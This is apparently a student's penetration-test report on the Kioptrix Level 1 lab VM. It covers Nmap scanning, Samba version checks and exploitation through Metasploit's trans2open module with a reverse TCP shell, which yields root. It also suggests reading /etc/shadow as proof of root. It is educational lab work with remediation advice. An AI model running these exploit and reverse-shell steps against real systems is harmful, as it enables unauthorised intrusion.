

ASSIGNMENT - Kioptrix Level 1 (VulnHub)

Kioptrix Level 1

Name-Harsh Singh Rathore
University Roll no – 2415000653
Course-Ethical Hacking(JOVAC-2026)

Executive Summary

This report documents the results of a black-box penetration test conducted against the Kioptrix Level 1 virtual machine sourced from VulnHub, carried out as a practical assignment for the Ethical Hacking (JOVAC Batch) course. Testing was performed inside an isolated VirtualBox host-only lab segment (192.168.56.0/24), with no prior knowledge of the target’s credentials or configuration.

A single default Nmap scan (top 1000 TCP ports, service/version detection, default NSE scripts) against 192.168.56.102 was enough to fingerprint five running services — SSH, HTTP, RPC, SMB, and HTTPS — every one of them a legacy build with a publicly documented, remotely exploitable vulnerability.

The Samba SMB daemon (version 2.2.1a, independently confirmed with Metasploit’s smb_version scanner) was exploited using exploit/linux/samba/trans2open (CVE-2003-0201), a heap-based buffer overflow. Because smbd ran as root on this build, exploitation required zero privilege escalation — the reverse shell returned by Metasploit was already uid 0. A second critical vulnerability, in the Apache mod_ssl stack (CVE-2002-0082), was identified from the same Nmap scan’s version banners but was not exploited during this engagement; it is reported below as an additional finding for remediation.

Risk Level	Count	Vulnerabilities
CRITICAL	2	Samba trans2open RCE (CVE-2003-0201) — exploited to root; Apache mod_ssl OpenFuck (CVE-2002-0082) — identified, not exploited
HIGH	1	Linux kernel ptrace/kmod local privilege escalation (CVE-2003-0127) — informational, tied to the unexploited Apache path
MEDIUM	2	OpenSSH 2.9p2 SSHv1 support; weak SSL/TLS configuration (SSLv2 + export-grade ciphers)

Note: All command-line evidence in this report is reproduced as screenshots captured directly from the practitioner’s live lab session.

Table of Contents

	Executive Summary
1.	Target Overview
2.	Reconnaissance
3.	Port Scanning
4.	Service Enumeration
5.	Vulnerability Analysis
6.	Exploitation
7.	Privilege Escalation
8.	Proof of Root Access
9.	Tools Used
10.	Key Learnings

1. Target Overview

Target Host	Kioptrix Level 1 (VulnHub)
IP Address	192.168.56.102
Operating System	Red Hat Linux 7.2 “Enigma” — per VulnHub’s published specification for this image
Architecture	x86 (32-bit) — consistent with the Red-Hat/Linux Apache build banner observed in testing
Network Segment	192.168.56.0/24 — VirtualBox host-only adapter
Attacker Machine	Kali Linux 2024.x — 192.168.56.101
Assessment Type	Black-Box Penetration Test (no prior credentials)
Date of Testing	01–02 August 2026
Classification	Confidential — Educational Use Only

Note: The kernel and OS point-version were not independently re-verified with a command such as `uname -a` during this engagement — no shell command beyond `pwd` and `whoami` was captured (Section 8). The Red Hat 7.2 / legacy-kernel description above reflects VulnHub’s published description of this target image rather than in-session command evidence.

2. Reconnaissance

The target’s IP address was already known within the isolated host-only lab segment, assigned by VirtualBox to the single powered-on victim VM. Because the segment contains no other live hosts to enumerate, host discovery did not require a separate ARP sweep (e.g. `netdiscover` or an `nmap` ping sweep); testing proceeded directly to full service scanning against 192.168.56.102, documented in Section 3.

3. Port Scanning

A default Nmap scan — top 1000 TCP ports, with service/version detection (`-sV`) and the default NSE script set (`-sC`) — was run directly against the target:

```
$ nmap -sC -sV 192.168.56.102
```

```

(kali㉿kali)~]
$ nmap -sC -sV 192.168.56.102
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-01 04:25 -0400
Nmap scan report for 192.168.56.102
Host is up (0.0083s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 2.9p2 (protocol 1.99)
|_ sshv1: Server supports SSHv1
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp    open  http           Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|_  Potentially risky methods: TRACE
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 Open
SSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind        2 (RPC #100000)
|_ rpcinfo:
|   program version   port/proto  service
|   100000   2             111/tcp     rpcbind
|   100000   2             111/udp     rpcbind
|   100024   1            32768/tcp   status
|   100024   1            32768/udp   status
139/tcp   open  netbios-ssn    Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https      Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.
4 OpenSSL/0.9.6b
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|   SSL2_RC2_128_CBC_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
|   SSL2_RC4_128_EXPORT40_WITH_MD5
|   SSL2_DES_192_EDE3_CBC_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

```

Figure 1 — Nmap scan output for 192.168.56.102 (capture ends mid-scroll; the SSLv2 cipher list continues beyond the frame)

Port Analysis

Port	Service	Version	Risk	Notes
22/tcp	SSH	OpenSSH 2.9p2 (protocol 1.99)	HIGH	SSHv1 supported; three legacy host keys advertised
80/tcp	HTTP	Apache 1.3.20 + mod_ssl/2.8.4 + OpenSSL/0.9.6b	CRITICAL	Maps to CVE-2002-0082 (OpenFuck); TRACE method flagged
111/tcp	RPC	rpcbind v2 (RPC #100000)	MEDIUM	rpcinfo script shows rpc.statd (100024) also registered
139/tcp	SMB	Samba smbd (workgroup: MYGROUP)	CRITICAL	Exploited — Section 6 (trans2open, CVE-2003-0201)
443/tcp	HTTPS	Apache/1.3.20 + mod_ssl/2.8.4 + OpenSSL/0.9.6b	CRITICAL	SSLv2 enabled; export-grade 40-bit ciphers accepted

Analyst Observation: Version banners did most of the reconnaissance work here — the Nmap default script set, with no dedicated vulnerability scanner, surfaced SSH host keys, an outdated Apache/mod_ssl/OpenSSL stack, RPC

program registrations, the Samba workgroup, and a full SSLv2 cipher list in a single pass. The capture above ends before the scan finished printing (994 closed ports were reported, implying at least one additional port beyond the five listed); no port count beyond what is visible in Figure 1 is claimed in this report.

4. Service Enumeration

4.1 Findings from Nmap's Script Engine

All service-level detail in this section comes from the single Nmap scan in Figure 1 — no separate enumeration tools (Nikto, enum4linux, sslscan, standalone rpcinfo) were run in this engagement.

- **SSH:** the ssh-hostkey script returned three 1024-bit host keys (RSA1, DSA, RSA), and the sshv1 script flag confirmed the legacy SSHv1 protocol is still accepted.
- **HTTP/HTTPS:** http-methods flagged TRACE as a potentially risky method; http-server-header and http-title identified the stock Apache 1.3.20 test page; the sslv2 script enumerated accepted ciphers on port 443, including 40-bit export-grade RC2/RC4.
- **RPC:** the rpcinfo script (run automatically under -sC) enumerated portmapper (100000) and rpc.statd (100024) registrations on TCP/UDP port 32768.
- **SMB:** the netbios-ssn line identified the Samba workgroup as MYGROUP, and was independently version-fingerprinted with Metasploit below.

4.2 SMB Version Confirmation — Metasploit

To independently validate the Samba banner Nmap reported, Metasploit's SMB version scanner was pointed at the target:

```
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > set RHOST 192.168.56.102
msf auxiliary(scanner/smb/smb_version) > run
```

```
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bi
  RPORT     no             The target port (TCP)
  THREADS   1             The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_version) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb
egular expression
[*] 192.168.56.102:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.56.102 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > █
```

Figure 2 — Metasploit's smb_version scanner fingerprinting the target as Samba 2.2.1a

Samba 2.2.1a falls squarely within the trans2open-vulnerable range (2.2.0–2.2.7a), confirming the target for the exploitation phase in Section 6.

5. Vulnerability Analysis

Five findings were identified from the reconnaissance in Sections 3–4. Only one — the Samba trans2open overflow — was exploited in this engagement; the remainder are reported from version-fingerprint evidence for completeness and remediation prioritisation.

1. Samba trans2open Heap Buffer Overflow **CRITICAL**

CVE: CVE-2003-0201 | CVSS: 10.0 (Critical) | Port 139/tcp

Status: **EXPLOITED**

Description: Samba versions 2.2.0–2.2.7a contain a heap-based buffer overflow in the call_trans2open() function, reachable pre-authentication over SMB.

Evidence: Samba 2.2.1a confirmed via Metasploit's smb_version scanner (Figure 2) and the Nmap netbios-ssn banner (Figure 1); falls within the vulnerable range.

Impact: Unauthenticated remote code execution; on this build the Samba daemon runs as root, so exploitation grants a root shell directly — see Section 6.

Recommended Fix: Upgrade Samba to a patched release (3.0.x or later); restrict SMB (139/445) to trusted hosts at the firewall; never run smbd as root where avoidable.

2. Apache mod_ssl OpenSSL Buffer Overflow (“OpenFuck”) **CRITICAL**

CVE: CVE-2002-0082 | CVSS: 10.0 (Critical) | Ports 80/tcp, 443/tcp

Status: **IDENTIFIED — NOT EXPLOITED**

Description: A remotely triggerable buffer overflow in mod_ssl versions before 2.8.7, when linked against a vulnerable OpenSSL build, allows unauthenticated remote code execution.

Evidence: The Nmap scan (Figure 1) reported mod_ssl/2.8.4 and OpenSSL/0.9.6b on both port 80 and 443 — within the publicly documented vulnerable range.

Impact: If exploited, remote code execution as the low-privileged apache service account; would require a separate local privilege-escalation step to reach root.

Status Note: No exploitation was attempted against this vector in this engagement. It is reported here as a version-fingerprinted finding only, for remediation prioritisation, and should be independently validated before any remediation sign-off.

Recommended Fix: Upgrade Apache/mod_ssl/OpenSSL to current, supported releases; disable SSLv2/SSLv3; enforce TLS 1.2 or higher.

3. Linux Kernel ptrace/kmod Local Privilege Escalation **HIGH**

CVE: CVE-2003-0127 | CVSS: 7.2 (High) | Local (post-exploitation)

Status: **INFORMATIONAL — UNVERIFIED**

Description: A race condition in the Linux kernel's ptrace/kmod handling (kernel 2.2/2.4 branches) allows a local, unprivileged user to escalate to root.

Evidence: Not independently verified in this engagement — no uname or kernel-version command was captured (Section 8 evidence is limited to pwd and whoami). Listed here because it is publicly documented as part of the Kioptrix Level 1 base image.

Relevance: Would only matter if Finding 2 (Apache mod_ssl) were exploited, since that path alone returns a low-privileged shell rather than root.

Recommended Fix: Apply the vendor kernel patch or upgrade to a fixed kernel release; restrict local shell access on production systems as defence-in-depth.

4. OpenSSH 2.9p2 — Deprecated Protocol Support **MEDIUM**

CVE: N/A (configuration weakness) | CVSS: 5.9 (Medium) | Port 22/tcp

Status: **CONFIRMED — NOT EXPLOITED**

Description: The SSH service advertises protocol 1.99 (SSHv1 compatibility mode) alongside SSHv2, and the daemon version itself (2.9p2) is over two decades past end-of-life.

Evidence: Nmap's ssh-hostkey and sshv1 script output (Figure 1) confirms SSHv1 support and lists three legacy host keys.

Impact: SSHv1 is cryptographically broken (vulnerable to known plaintext-recovery and MITM attacks); no SSH-based attack was attempted in this engagement.

Recommended Fix: Disable SSHv1 support entirely; upgrade to a current OpenSSH release.

5. Weak SSL/TLS Configuration **MEDIUM**

CVE: N/A (configuration weakness) | CVSS: 5.9 (Medium) | Port 443/tcp

Status: **CONFIRMED — NOT EXPLOITED**

Description: The HTTPS service accepts the obsolete SSLv2 protocol and offers export-grade 40-bit ciphers, both broken by modern cryptanalysis.

Evidence: Nmap's sslv2 script output (Figure 1) lists accepted ciphers including SSL2_RC4_128_EXPORT40_WITH_MD5 and SSL2_RC2_128_CBC_EXPORT40_WITH_MD5.

Impact: SSLv2 and export-grade ciphers are vulnerable to protocol downgrade and brute-force key recovery attacks (e.g. DROWN-class issues).

Recommended Fix: Disable SSLv2/SSLv3 entirely; remove export-grade and other weak cipher suites from the server configuration; enforce TLS 1.2+.

6. Exploitation

Exploitation in this engagement targeted exclusively the Samba trans2open vector confirmed in Sections 3–5 (Finding 1). The Apache mod_ssl vulnerability (Finding 2) was fingerprinted but not attacked — see the Status Note under Finding 2 in Section 5.

6.1 Module Discovery

Metasploit's search command was used to locate a module matching the confirmed Samba version and vulnerability:

```
msf auxiliary(scanner/smb/smb_version) > search samba trans2open
```



```
msf auxiliary(scanner/smb/smb_version) > search samba trans2open

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  exploit/freebsd/samba/trans2open         2003-04-07      great No     Samba trans2open Overflow (*BSD x86)
1  exploit/linux/samba/trans2open           2003-04-07      great No     Samba trans2open Overflow (Linux x86)
2  exploit/osx/samba/trans2open             2003-04-07      great No     Samba trans2open Overflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open         2003-04-07      great No     Samba trans2open Overflow (Solaris SPARC)
4  \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
5  \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

msf auxiliary(scanner/smb/smb_version) > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(linux/samba/trans2open) >
```

Figure 3 — msf search samba trans2open — matching modules

The search returned platform-specific variants for *BSD, Linux, macOS and Solaris, plus two Solaris-specific bruteforce sub-targets. Index 1 — exploit/linux/samba/trans2open — was selected, matching the target's Linux/x86 platform (consistent with the Red-Hat/Linux Apache build banner observed in Figure 1). Selecting the module auto-defaulted its payload to linux/x86/meterpreter/reverse_tcp, which was changed in Section 6.2.

Independently, searchsploit was used from a separate terminal to cross-validate the finding against the offline Exploit-DB mirror:

```
$ searchsploit Samba 2.2.1a
```

```
—(kali@kali)-[~]
-$ searchsploit Samba 2.2.1a
ommand 'searchsploit' not found, did you mean:
ommand 'searchsploit' from deb exploitdb
ry: sudo apt install <deb name>

—(kali@kali)-[~]
-$ searchsploit Samba 2.2.1a

Exploit Title
-----
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)

hellcodes: No Results
```

Figure 4 — searchsploit Samba 2.2.1a, independently confirming the trans2open exploit

Analyst Observation: searchsploit returned the same trans2open Overflow entry alongside three Samba findings outside the confirmed 2.2.1a build (2.2.8, 3.0.20, 3.6.2) that did not apply and were not pursued. Agreement between Metasploit's own module database and the independent Exploit-DB mirror confirmed trans2open as the correct exploit before any traffic was sent to the target.

6.2 Module and Payload Configuration

With the module confirmed, RHOSTS was set and the compatible payload list was reviewed:

```
msf exploit(linux/samba/trans2open) > set RHOSTS 192.168.56.102
msf exploit(linux/samba/trans2open) > show payloads
```

```
msf exploit(linux/samba/trans2open) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf exploit(linux/samba/trans2open) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date Rank Check Description
0  payload/generic/custom                   .               normal No Custom Payload
1  payload/generic/debug_trap               .               normal No Generic x86 Debug Trap
2  payload/generic/shell_bind_aws_ssm       .               normal No Command Shell, Bind SSM (via AWS API)
3  payload/generic/shell_bind_tcp           .               normal No Generic Command Shell, Bind TCP Inline
4  payload/generic/shell_reverse_tcp         .               normal No Generic Command Shell, Reverse TCP Inline
5  payload/generic/ssh/interact              .               normal No Interact with Established SSH Connection
6  payload/generic/tight_loop                .               normal No Generic x86 Tight Loop
7  payload/linux/x86/adduser                 .               normal No Linux Add User
8  payload/linux/x86/chmod                   .               normal No Linux Chmod
9  payload/linux/x86/exec                    .               normal No Linux Execute Command
10 payload/linux/x86/meterpreter/bind_ipv6_tcp .              normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid .          normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/bind_nonx_tcp .              normal No Linux Mettle x86, Bind TCP Stager
13 payload/linux/x86/meterpreter/bind_tcp   .               normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
14 payload/linux/x86/meterpreter/bind_tcp_uuid .              normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
15 payload/linux/x86/meterpreter/reverse_ipv6_tcp .            normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
16 payload/linux/x86/meterpreter/reverse_nonx_tcp .            normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp .               normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/meterpreter/reverse_tcp_uuid .           normal No Linux Mettle x86, Reverse TCP Stager
19 payload/linux/x86/metsvc_bind_tcp        .               normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp     .               normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file               .               normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp     .               normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid .              normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp     .               normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp          .               normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid     .               normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp .               normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp .               normal No Linux Command Shell, Reverse TCP Stager
```

Figure 5 — Compatible payloads for exploit/linux/samba/trans2open

linux/x86/shell_reverse_tcp was selected over the Meterpreter stager: a plain command shell has no staging dependencies beyond the initial connect-back, which suits a heap-spray exploit where a reliable shellcode landing matters more than post-exploitation tooling.

6.3 First Exploitation Attempt — Misconfigured Listener

The exploit was run for the first time:

```
msf exploit(linux/samba/trans2open) > run
```

```

msf exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 192.168.56.102:139 - Trying return address 0xbffffdfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffcfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffbfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffafc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff9fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff8fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff7fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff6fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff5fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff4fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff3fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff2fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff1fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff0fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffeffc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffeefc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffedfc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffecfc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffebfc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffeafc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe9fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe8fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe7fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe6fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe5fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe4fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe3fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe2fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe1fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffe0fc ...
[*] 192.168.56.102:139 - Trying return address 0xbfffdffc ...

```

Figure 6 — First exploitation attempt: reverse handler bound to 10.0.2.15, the VirtualBox NAT interface

The module correctly began cycling candidate heap return addresses (0xbffffdfc downward) against 192.168.56.102:139 — the exploit logic itself was working — but the reverse TCP handler had been started on 10.0.2.15:4444, the default NAT-adapter address Metasploit auto-selected for LHOST. The target, isolated on the 192.168.56.0/24 host-only segment, had no route back to that address, so no callback could complete no matter how many return addresses were tried.

6.4 Corrected Configuration

LHOST was corrected to the host-only adapter address actually reachable by the target (192.168.56.101), and the full module and payload configuration was re-verified before the next attempt:

```

Module options (exploit/linux/samba/trans2open):


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.56.102  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (linux/x86/shell_reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| CMD   | /bin/sh         | yes      | The command string to execute                      |
| LHOST | 192.168.56.101  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |


```

Figure 7 — Corrected module options — LHOST set to the host-only adapter (192.168.56.101), RPORT 139, payload CMD /bin/sh

The module's full metadata was also reviewed with info, confirming the CVE reference, exploit rank, and reliability rating before re-running:

```
Name: Samba trans2open Overflow (Linux x86)
Module: exploit/linux/samba/trans2open
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2003-04-07

Provided by:
hdm <xahdm.io>
jduck <jduck@metasploit.com>

Module side effects:
loc-in-logs

Module stability:
crash-service-restarts

Module reliability:
repeatable-session

Available targets:
  id  Name
  --  --
  =>  0  Samba 2.2.x - Bruteforce

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  ---      -
RHOSTS     192.168.56.102  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139             yes       The target port (TCP)

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This exploits the buffer overflow found in Samba versions
2.2.0 to 2.2.8. This particular module is capable of
exploiting the flaw on x86 Linux systems that do not
have the noexec stack option set.

NOTE: Some older versions of RedHat do not seem to be vulnerable
since they apparently do not allow anonymous access to IPC.

References:
https://nvd.nist.gov/vuln/detail/CVE-2003-0201
OSVDB (4469)
http://www.securityfocus.com/bid/7294
https://seclists.org/bugtraq/2003/Apr/103

Also known as:
ECHOWRECKER
```

Figure 8 — Module info for exploit/linux/samba/trans2open

The listing confirms CVE-2003-0201, a “Great” exploit rank with a “repeatable-session” reliability rating, and the module’s public alias ECHOWRECKER — referencing the underlying heap overflow in Samba’s call_trans2open() function in trans2.c.

6.5 Successful Exploitation

With LHOST corrected, the exploit was re-run:

```
msf exploit(linux/samba/trans2open) > run
```

```
msf exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.102:139 - Trying return address 0xbffffdfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffcfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffbfc ...
[*] 192.168.56.102:139 - Trying return address 0xbffffafc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff9fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff8fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff7fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff6fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff5fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff4fc ...
[*] 192.168.56.102:139 - Trying return address 0xbffff3fc ...
```

Figure 9 — Second attempt: reverse handler correctly bound to 192.168.56.101:4444

The same return-address spray was repeated against port 139. Because trans2open has no feedback channel to confirm which guessed address will succeed, this kind of repeated cycling is expected — Metasploit’s own “Great” (rather than “Excellent”) rank for this module reflects that variability.

```
[*] Command shell session 6 opened
[*] Command shell session 7 opened

pwd
/tmp
whoami
root
```

Figure 10 — Command shell sessions 6 and 7 opened; pwd and whoami confirm root

By the time a stable connection landed, the framework had already opened command shell session 6 and session 7 during this exploitation phase — evidence of how many full spray attempts were needed across this session before one landed cleanly. `pwd` returned `/tmp` and `whoami` returned `root`, confirming an unauthenticated remote shell running as uid 0.

Analyst Observation: *The Samba daemon’s default root execution on this build meant the shell was root from the moment it connected — no privilege-escalation step, local exploit, or additional foothold was required. See Section 7.*

7. Privilege Escalation

Not required. The shell obtained in Section 6 was already root (uid 0) because `smbd` ran as the root user by default on this Red Hat 7.2 build — a single memory-corruption bug in a root-owned service is equivalent to a direct root compromise, with no intermediate step.

Had the Apache `mod_ssl` vector (Finding 2, Section 5) been pursued instead, it would have returned a shell as the low-privileged `apache` service account and required a separate local privilege-escalation exploit — the kernel finding in Section 5 (CVE-2003-0127) is the theoretical candidate — but this path was not attempted in this engagement.

8. Proof of Root Access

Root access was confirmed directly from the shell returned in Section 6 (Figure 10):

```
pwd
/tmp

whoami
root
```

Command	Output	Significance
pwd	/tmp	Confirms the working directory of the returned shell — useful for orienting subsequent commands.
whoami	root	Prints the effective username. <code>root</code> is the superuser account on any Unix system; on its own this confirms the compromise.

Note: `whoami` is sufficient to demonstrate the compromise, but a command such as `id` (showing `uid=0` explicitly) or `cat /etc/shadow` (root-only, mode 640) provides stronger, more defensible proof of uid 0 for a formal report, and is recommended for evidence capture in future engagements.

9. Tools Used

Tool	Category	Usage in This Engagement
Nmap 7.98	Port Scanning & Enumeration	Default top-1000 TCP scan with service/version detection (-sV) and default NSE scripts (-sC). A single scan surfaced SSH host keys, HTTP methods/banners, RPC program registrations, the SMB workgroup, and the full SSLv2 cipher list.
Metasploit Framework	Exploitation Framework	auxiliary/scanner/smb/smb_version independently confirmed the exact Samba build (2.2.1a); exploit/linux/samba/trans2open with the linux/x86/shell_reverse_tcp payload delivered the root shell.
searchsploit (Exploit-DB)	Offline Exploit Cross-Validation	Independently confirmed trans2open as the applicable Samba 2.2.1a exploit outside Metasploit's own module database.
Kali Linux 2024.x	Attacker Platform	Host-only adapter (192.168.56.101) used as both the scanning source and the reverse-shell listener address.

10. Key Learnings

1. Version disclosure eliminates reconnaissance barriers

Nmap's default script set alone, with no dedicated vulnerability scanner, surfaced enough version detail to map every open service to a specific CVE in a single scan.

2. A misconfigured listener can silently defeat a working exploit

The first trans2open attempt correctly cycled return addresses against the target but never produced a session, because the handler was bound to the NAT interface (10.0.2.15) rather than the host-only adapter the target could reach (192.168.56.101). An exploit is only as reliable as the network path back to its listener.

3. Heap-spray exploits reward patience, not precision

trans2open guesses a heap return address with no feedback channel; Metasploit's own "Great" (not "Excellent") rank reflects this, and several full attempts were needed here before a stable shell landed.

4. Services running as root magnify exploit impact

Samba's default root execution on this build turned a single memory-corruption bug into full compromise with no privilege-escalation step at all.

5. An unexploited finding is still a finding

The Apache mod_ssl vulnerability was never attacked in this engagement, but its version banner alone placed it in a second critical, publicly documented CVE range; a real remediation plan has to close every viable path, not only the one a tester happened to prove.

6. Cross-validating across independent tools builds confidence before touching the target

searchsploit and Metasploit's own module database agreed independently on the same trans2open exploit for this Samba build, before any exploitation traffic was sent.

7. Root proof should go beyond whoami where possible

whoami and pwd were sufficient to demonstrate the shell here, but capturing id or cat /etc/shadow output (root-only, mode 640) gives more defensible proof of uid 0 in a formal report.

8. Legacy systems in labs reflect real-world exposure

Kioptrix Level 1 represents infrastructure deprioritised for updates, a pattern still found in production environments today; the tooling and reasoning practised here transfer directly — authorisation scope and reporting rigour are the real differences in a live engagement.

